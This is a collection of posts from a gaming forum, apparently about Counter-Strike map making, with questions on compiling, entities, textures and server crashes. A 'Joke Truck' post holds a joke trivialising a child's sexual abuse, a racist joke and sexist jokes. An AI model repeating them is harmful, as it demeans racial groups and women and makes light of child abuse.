Hi there, I'm totally new to this, and as a big CS fan, I came up with an idea of a map on which even 40-50 ppl can play easily. It's gonna have all three of the mods..hostage rescue bomb defusing and VIP rescue. It's gonna have two main buildings, and a big enough courtyard. The CS will land in the courtyard, but the VIP will start at a different point in the smaller building (I thought of a factory), being closed somewhere where he could only get out if somebody pushed an outdoor button. so the first thing will be who will get to him first. Secondly, the terrorists will be in 2nd of 11 floors in the tall building. they will have to plant a bomb at the last floor (the 11th) where also in three different chambers there will be 9 hostages. The hostage and VIP rescue helicopter will be on top of the building. Or the bomb could be placed in an underground parking lot, and if the bomb blows the building will fall...and so will the hostages die... the winner team will be the one that accomplishes two out of three or three out of three. if you are interested contact cf_philippe@yahoo.com mail/messenger or usk4bal@gmail.com. Also if ur interested i could make a model 2D map. thanks! p.s. i'm interested in doing it mainly for cs 1.6, but if we could do one for css that would be great

In Does my graphic card suck? Discuss that and more in this truck. by Down Rodeo:
Mate de Vita said:
Down Rodeo said:
no Crysis for you.

what??? NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!

Mine can play Crysis but not well. Like we're talking 800x600, everything lowest settings. It's smooth at that though.

In New Music by SuperJer by Down Rodeo:
I also have Widowmaker saved on my desktop for random listening. IC looks like it would be difficult to play on any instrument... though it would be awesome if you beatbox'd the drums as well. While playing, I mean.

In New Music by SuperJer by SuperJer:
Well gosh golly thanks buddy.

I'm still trying to learn to play it [Irrational Chiptune] on the piano. That would be rad but I suck too much to be able to actually play the music I write.

That's why I need to make games instead... cause I can play those.

In Does my graphic card suck? Discuss that and more in this truck. by Mate de Vita:
Does anyone know any FPS other than CS, HL and the Quake, DN, Doom trio that I could play with a 32MB graphic card that has no pixel shader, no vertex shader, no openGL support but does have a 3D accelerator?

In I really need help for saving the map,plz help.... by eDan Co.:
zxcvb7653 said:
but i need to test it, play it in the game


What?!

Yes, you need to compile it with ZHLT and then you can play the map.

In I really need help for saving the map,plz help.... by zxcvb7653:
but i need to test it, play it in the game

In modify existing maps by newbie:
eDan Co. said:
Farmboy102 said:
OK back to decompiling I want to decompile a source map so I can play it on 1.6 How do I do this?


THAT is one thing you do not do. It's impossible to play a decompiled map.


until u fixed it

In Need Help With... by Farmboy102:
OK this might sound funny but there is no docs for the mod.

And then eDan how can I play a Source map on 1.6 ?

Then I also want to know if I buy the Orange Box game can I get SourceSDK from it? ( It's the only Valve game available to buy in South Africa. )

I also need help making a Sun. How do I get one light to light my whole outside area in the map and that it creats realistic shadows?

In modify existing maps by eDan Co.:
Farmboy102 said:
OK back to decompiling I want to decompile a source map so I can play it on 1.6 How do I do this?


THAT is one thing you do not do. It's impossible to play a decompiled map.

In Need Help With... by Farmboy102:
Ok now I downloaded a paintball mod now how do I make paintball maps?

Is there a diffrence in the maps or can I still use hammer?

Then I want to decompile a Source map to play on 1.6 how do I do this?

In modify existing maps by Farmboy102:
OK back to decompiling I want to decompile a source map so I can play it on 1.6 How do I do this?

In Disco can save your life! by molkman:
Too bad discos only play house nowadays.

In Mi Gateway scores by SolidKAYOS:
jrkookid said:
Havokk Edge said:
Ive been able to play my 360 forever.


but not Halo 3


My Halo 3 was stolen from a asshole cause i let him borrow it and he never brought it back.and i know he wont ever bring it back so i dont even bother asking him about it + my temper rises easily with assholes.So there would be a fist fight.

So ive borrowed jigsaws.I just don like to play cause my sister kills the connection.So L4D isnt that bad with lag from my sis.

In Mi Gateway scores by jrkookid:
Havokk Edge said:
Ive been able to play my 360 forever.


but not Halo 3

In Counter-Strike Source Texture Problem by scorch-1995:
Hey there! I've downloaded and started playing and making maps in Counter-Strike Source. I usually play Surf maps. The only problem is, that I don't have all the textures and I see pink and black squares all over the place. Can anyone tell me how to fix this or how to get the right textures I need? Thank you very much!

In aaronjer by Mate de Vita:
Havokk Edge said:
I'm easily bored.I'm ganna go play MechWarrior now...

yeah, you go do that... less crap here

In aaronjer by SolidKAYOS:
I'm easily bored.I'm ganna go play MechWarrior now...

In MechWarrior 4 Vengence by SolidKAYOS:
Anyone ever played i before? Its pretty old but fun.My brother in law is letting me borrow his and his joystick to play it.Which still find it kinda hard to use.

In Mi Gateway scores by SolidKAYOS:
Ive been able to play my 360 forever.

In Mi Gateway scores by jrkookid:
So that means you can play your 360 now right?

In armoury_entity problem by bandora:
That's not the problem guys.. Ok so I am trying to make a new kind of map (fun map?).. Trampoline map. :) BUT the problem is that.. the gpe entity instead of disappearing instantly or after round ends (like it's suppose to) it just hangs on the air like it's stuck or something. And it stays there round after round...

I uploaded my map here so if you guys want to see what I am talking about download it and play it with a friend or something or you could do that by urself but you have to wait a couple of rounds to see what I am talking about..

Also, the map crashes after 7-8 people joins teams.

P.S.: I don't want people to lose their weapons on a new round or anything like that... This has nothing to do with players, just that the weapons that the players get stays on the air..

EDIT: Ok I might have a solution for all this mess but I can't quite do it. I want to do like how superjer did in his map awp_sk33tl33t map; you know how when u spawn you don't have any weapons but as soon as it's time for the t's or ct's launch they get weapons, I want to do that and then when a new round begins I want the players to get stripped then get weapons again.. etc.

In ambient_generic repeatable? by bandora:
Hey guys,

How can I make an ambient generic keep on repeating.. because I have a sound that plays then it stops you have to go through the trigger_multiple again to make it play again.

thanks in advance.

In Victory for now! by Farmboy102:
Ok so I've noticed that every map I make the buildings are way too big infact my buildings are so big I put in the smallest window possible and then when I play I can still climb through the window. So I want to know how do I know I get the smallest setting for brushes possable?

In Joke Truck by SolidKAYOS:
1.========

Two blondes are walking in the forest when they come across marks in the ground.

One says to another, 'Oh, look at the deer tracks!'

'Those aren't deer trucks, you dumb blonde!' says the other. 'They're bear prints.'

'Deer tracks, you dumb blonde!'

'Bear prints, you dumb blonde!'

Next day's headlines : Two blondes killed by train in forest.


2.========


A boy in the sixth grade comes home after school one day. His mother notices that he's got a big smile on his face.

She asks, "Did anything special happen at school today?"

"Yes, Mom. I had sex with my English teacher!"

The mother is stunned. "You're going to talk about this with your father when he gets home."

Well, when dad comes home and hears the news he is pleased as punch. Beaming with pride, he walks over to his son and says, "Son, I hear you had sex with your English teacher."

"That's right, Dad."

"Well, you became a man today - this is cause for celebration. Let's head out for some ice cream, and then I'll buy that new bike you've been asking for."

"That sounds great, Dad, but I can I have a football instead? My ass is killing me."

3.========


This couple walks into a bar: The man goes of to the bog and leaves the women standing at the bar. A bloke goes up to the women and says, "I really really want to squeeze you tit's. Will you let me?"

The lady turns around and says, "How dare you, get away from me, you sicko!"

The bloke then says, "Oh you have a lovely arse can I rub it, please let me?"

The lady turns around and says, "Look you pervert get away from me! I'll get my boyfriend to beat you up if you don't piss off!"

The bloke takes no notice and continues to the woman, "I want to tip you upside down and fill you up with beer and down it in one big gulp."

"RIGHT... THAT IS IT" shouts the woman.

Just then her boyfriend comes out from the bog and says, "Whaz goin' on here?!?"

The woman says all hysterically, "That bloke over there said he wants to squeeze my tits!"

Her boyfriend rolled up one of his sleeves and was just about to smack him when the lady shouts "That's not all, he wants to rub my arse!"

So her boyfriend rolled up the other sleeve!

"And do you know what else he said? He wants to tip me upside down and fill me up with beer and down it in one big gulp! So are you going to beat him up then?"

Her boyfriend rolls down his sleeves and says "Of course not darling, I ain't messing with a bloke that can drink that much beer!!!"



4.========


A man walks into a country club, and asks to play a round of golf. The man behind the counter suggests he try one of their brand new mechanical caddies. The guy had just gotten his paycheck, so he had money to burn, he figured "what the hell".

He took the caddy out and it was great, it would tell him what club to use, what was wrong with his swing, and what direction his putts would break and how much. The man gets done, and shoots the best round of his life.

A month later he comes back and asks for one of the caddies. The manager replies, "I'm sorry, but we had to get rid of them." The man a little confused asks, "Why did you get rid of them, they were great." The manager explained that they were made out of metal, so when the sun reflected off of them, it blinded the other golfers.

Still confused, the man adds, "Well, why didn't you just paint them black?"

The manager replies "Well, we tried that, but then 2 of them didn't show up for work, and the others robbed the clubhouse."

5.========


Two cowboys were sitting in a bar when one asked his friend if he had heard of the new sex position called rodeo. His friend says no, what is it?

Well you mount your wife from the back, reach around and cup her breasts with both hands.

Then say, "Boy, those are almost as nice as your sisters".

Then see if you can hold on for 8 seconds.



In armoury_entity problem by bandora:
eDan Co. said:
In the armoury_entity's properties there is a field called 'count'. That determines how many of the weapon are in the pile. Change it to 1.

I don't understand what you said about having the weapon disappear after a round ends. When a new round begins, everything resets.


But that's the problem it doesn't reset in my map!

I have uploaded the map so you guys can see what I am talking about..

fs_trampoline.zip

BTW I am sorry I am a dumbass.. I meant game_player_equip when I said armoury_entity.. SORRY SORRY SORRY!

EDIT: You need to have at least two players playing in the map to see what I am talking about. (Also you need to play it for more than one round; obviously.)

In armoury_entity problem by bandora:
I also have another problem. if more than 7 or 8 people join the server to play on my map it crashes the server. :S

And the weird thing is that when it crashes the server there's no error logs what-so-ever.. and when I check the log file it goes from the map then it says map changed to de_dust2 (default map)

Here's what the log says:

Quote:
L 12/11/2008 - 17:38:58: -------- Mapchange to fs_trampoline --------
L 12/11/2008 - 17:38:58: [admin.amxx] Login: "R@W[FS] #fskillz<44><"xx><>" became an admin (account "xx") (access "abcdefghijklmnopqrstuz") (address ""xx")
L 12/11/2008 - 17:38:58: [admin.amxx] Login: ":| [FS]<39><"xx><>" became an admin (account ""xx") (access "bcdefghijklmnopqrstuz") (address ""xx")
L 12/11/2008 - 17:38:58: [admin.amxx] Login: "SKILLER[FS] #fskillz<50><"xx><>" became an admin (account ""xx") (access "bcdefghijklmnopqrstuz") (address ""xx")
L 12/11/2008 - 17:39:05: [admin.amxx] Login: "SKILLER[FS] #fskillz<54><"xx><>" became an admin (account ""xx") (access "bcdefghijklmnopqrstuz") (address ""xx")
L 12/11/2008 - 17:40:14: -------- Mapchange to de_dust2 --------

In This is a conversation. by aaronjer:
That conversation was not recent. Although allying with LEFD again would be a true blast. We could cuddle with Remus! But... those guys might not even play anymore.

On another note... I have to poo real bad but I don't feel like standing up. Any suggestions?

In Any1 have RE4? by SolidKAYOS:
aaronjer said:
Havokk Edge said:
aaronjer said:
Wait... I can only assume a nude patch would only work on the PC version, aren't you a console gamer? Even if it did somehow function on a console, RE4 isn't exactly a treasure-trove of babes.


I use a site that that is always updated and RE4, Silent hill ,and WoW Nude patches was recently released.

Even though the site is Russian its really good.It has Hentai to Real porn to games and other non adult games.


That entirely failed to answer my question.